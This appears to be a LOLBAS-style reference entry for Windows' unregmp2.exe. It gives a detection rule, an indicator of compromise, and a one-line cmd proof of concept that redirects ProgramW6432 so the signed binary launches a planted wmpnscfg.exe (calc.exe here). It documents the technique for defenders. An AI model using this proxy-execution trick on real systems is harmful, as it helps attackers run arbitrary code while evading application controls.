.. /Unregmp2.exe

Star

Paths:

• C:\Windows\System32\unregmp2.exe
• C:\Windows\SysWOW64\unregmp2.exe

Resources:

• https://twitter.com/notwhickey/status/1466588365336293385

Acknowledgements:

• Wade Hickey (@notwhickey)

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_lolbin_unregmp2.yml
• IOC: Low-prevalence binaries, with filename 'wmpnscfg.exe', spawned as child-processes of `unregmp2.exe /HideWMP`

Execute

1. Allows an attacker to copy a target binary to a controlled directory and modify the 'ProgramW6432' environment variable to point to that controlled directory, then execute 'unregmp2.exe' with argument '/HideWMP' which will spawn a process at the hijacked path '%ProgramW6432%\wmpnscfg.exe'.

   rmdir %temp%\lolbin /s /q 2>nul & mkdir "%temp%\lolbin\Windows Media Player" & copy C:\Windows\System32\calc.exe "%temp%\lolbin\Windows Media Player\wmpnscfg.exe" >nul && cmd /V /C "set "ProgramW6432=%temp%\lolbin" && unregmp2.exe /HideWMP"

   Use case

   Proxy execution of binary

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   User

   Operating systems

   Windows 10

   ATT&CK® technique

   T1202